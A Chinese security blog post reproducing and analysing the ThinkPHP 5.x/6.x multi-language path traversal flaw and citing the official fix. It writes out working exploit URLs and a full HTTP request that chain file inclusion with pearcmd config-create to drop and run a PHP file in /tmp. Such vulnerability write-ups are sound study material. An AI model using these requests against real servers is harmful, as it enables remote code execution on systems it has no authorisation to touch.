0x00 前言

如果有错误的地方请各位师傅们指正

0x01影响范围

存在漏洞的版本

Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x

不存在漏洞的版本

ThinkPHP >= 6.0.14
ThinkPHP >= 5.1.42

0x02 thinkphp5环境搭建and复现

这里我从官网下载ThinkPHP5.0.24完整版

https://www.thinkphp.cn/down/1278.html

然后将网站路径指定到public下访问

26545-n0jf205qqe.png

然后打开多语言功能,配置文件可能在下方两个文件中,手册 https://static.kancloud.cn/manual/thinkphp5/118132

config/app.php
application/config.php

56936-e5oktk5h2m.png

'lang_switch_on'         => true,

由于他只能包含php文件所以这里我们在想要包含的地方建立一个php文件,我这里是跟application同级目录下新建了一个test.php

98955-jdd510qyd2.png

然后包含,成功执行

http://127.0.0.1/?lang=../../test

38183-pkm9pjnew3.png

2.1 rce

要想rce需要通过pearcmd,什么是pearcmd可以看一下我下面这个之前的文章,pearcmd 官方的php docker容器里面是自带的,在PHP7.3及以前是默认安装的,在PHP7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

所以这里我用docker演示,包含测试一下是否有pearcmd,返回报错信息就代表存在

http://10.68.1.3:5690/?lang=../../../../../../../../usr/local/lib/php/pearcmd

40757-p82guoi38xh.png

在tmp目录下生成一个mo60.php的文件,这里使用burp抓包,直接url中get传参会把<这些字符自动编码

http://10.68.1.3:5690/?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/tmp/mo60.php

32274-j5294vlsyn.png

然后包含即可

http://10.68.1.3:5690/?lang=../../../../../../../../tmp/mo60

62102-crn3d1kclmh.png

0x03 thinkphp6复现

直接docker起

docker run -it -d -p 7070:80  vulfocus/thinkphp:6.0.12

thinkphp6打开多语言功能是在 app/middleware.php里配置,手册地址 https://www.kancloud.cn/manual/thinkphp6_0/1037637

<?php
// 全局中间件定义文件
return [
    // 全局请求缓存
    // \think\middleware\CheckRequestCache::class,
    // 多语言加载
    \think\middleware\LoadLangPack::class,
    // Session初始化
    // \think\middleware\SessionInit::class
];

查看一下

40957-k269z56adfp.png

这里按上面tp5的方式来还是调用pearcmd来rce但是通过cookie来传值在tmp目录下生成一个mo60.php的文件

GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/mo60.php HTTP/1.1
Host: host
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Length: 0
think-lang:../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn;
Connection: close

18386-9rlj7tqmp1d.png

可以把cookie里面的think-lang修改为

think-lang:../../../../../../../../tmp/mo60

又或者通过get传入

lang=../../../../../../../../tmp/mo60

70830-lniux6tixoi.png

0x04 thinkphp5 分析

thinkphp\library\think\App.php

如果多语言是开启状态会调用Lang::detect方法然后调用Lang::load进行加载语言包这里就是文件包含的位置,我们可控的参数是$request->langset(),可控的值是通过$Lang::range()获取的

64803-q6tqvwdkzrh.png

来到 thinkphp\library\think\Lang.php看看range方法,返回当前类的range成员变量的值

50279-cysjsdshqdi.png

这个值默认为zh-cn

92731-z0takvihbip.png

现在我们来看看detect方法,先是从get或者cookie获取值然后赋值给::$range变量

93366-x90vnem0am.png

我们在detect方法return前下个断点然后访问

http://127.0.0.1/?lang=../../test

可以看到传入的../../test给到了$langSet然后赋值给::$range

86265-t2gl1iqlv5.png

回到thinkphp\library\think\App.php接下来就是 Lang::load去加载了

86971-i2172m0ouu.png

就是包含我们传入的路径

25720-f02ub0meih.png

这个EXT常量的值是.php

THINK_PATH . 'lang' . DS . $request->langset() . EXT,
APP_PATH . 'lang' . DS . $request->langset() . EXT,

给Lang::load打个断点可以看到我们传入的值

79240-odqnrz9txnh.png

然后对我们传入的文件路径进行包含

36168-3lg0m6qn26.png

最后就是成功执行我们的test.php内容

0x05 thinkphp6 分析

这里使用上面复现的docker里面的6.0.12版本

app/middleware.php开启多语言

53513-wvq9h23uk4r.png

还是新建了一个test.php跟app目录同级

每个 middleware 的 handle 函数都会被调用vendor\topthink\framework\src\think\middleware\LoadLangPack.php在方法第一行调用了detect

23554-xh25sbkha7o.png

跟到detect,跟tp5也差不多判断 GET["lang"] 、HEADER["think-lang"] 、COOKIE["think_lang"]是否有值,然后判断是否在运行的语言里$this->config['allow_lang_list']这个变量默认为空然后将值返回

85902-8e3dmj5zbun.png

在detect返回的地方下个断点然后访问,可以看到返回的值就是我们传入的值

http://127.0.0.1/public/?lang=../../../../../test

13393-kie6uvllv8m.png

回到handle函数,通过detect返回的 $langset 不等于默认的语言zh-cn,那么就会调用 $this->lang->switchLangSet($langset)

70712-hfw4mir23p.png

跟到vendor\topthink\framework\src\think\Lang.php switchLangSet函数,调用了load方法,

60623-4l9pxt2ml25.png

经过拼接这里的路径为F:\phpstudy_pro\WWW\vendor\topthink\framework\src\lang\../../../../../test.php

54075-85up9hmmf6a.png

跟到load函数可以看到直接将传入的参数作为文件名,先判断文件在不在,如果在就传入parse中

62780-knbau92dhq.png

跟到parse可以看到先获取后缀名如果为php就进行文件包含:

18461-dmx6dq4lfsj.png

0x06总结

参考自p牛

ThinkPHP为了支持多语言,会根据用户提供的lang参数来加载对应的语言包。例如:lang参数值为英文,那么系统就会加载en-us.php文件;如果是中文,那么就会加载zh-cn.php文件。由于ThinkPHP没有对lang参数进行检查,我们可以通过使用"../"来跨越目录从而包含其他目录下的PHP文件。

大概代码就是如下:

<?php
include LANG_DIR . $_REQUEST['lang'] . ".php";
?>

要getshell的话还是需要满足很多条件,如果存在其他无法被直接访问的存在漏洞的组件也可以利用。

0x07 修复

官方在几个月前已修复:

https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099

0x08 参考

https://tttang.com/archive/1865/

Last modification:December 15, 2022
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/744.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明:
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用,请随意赞赏,可备注留下ID方便感谢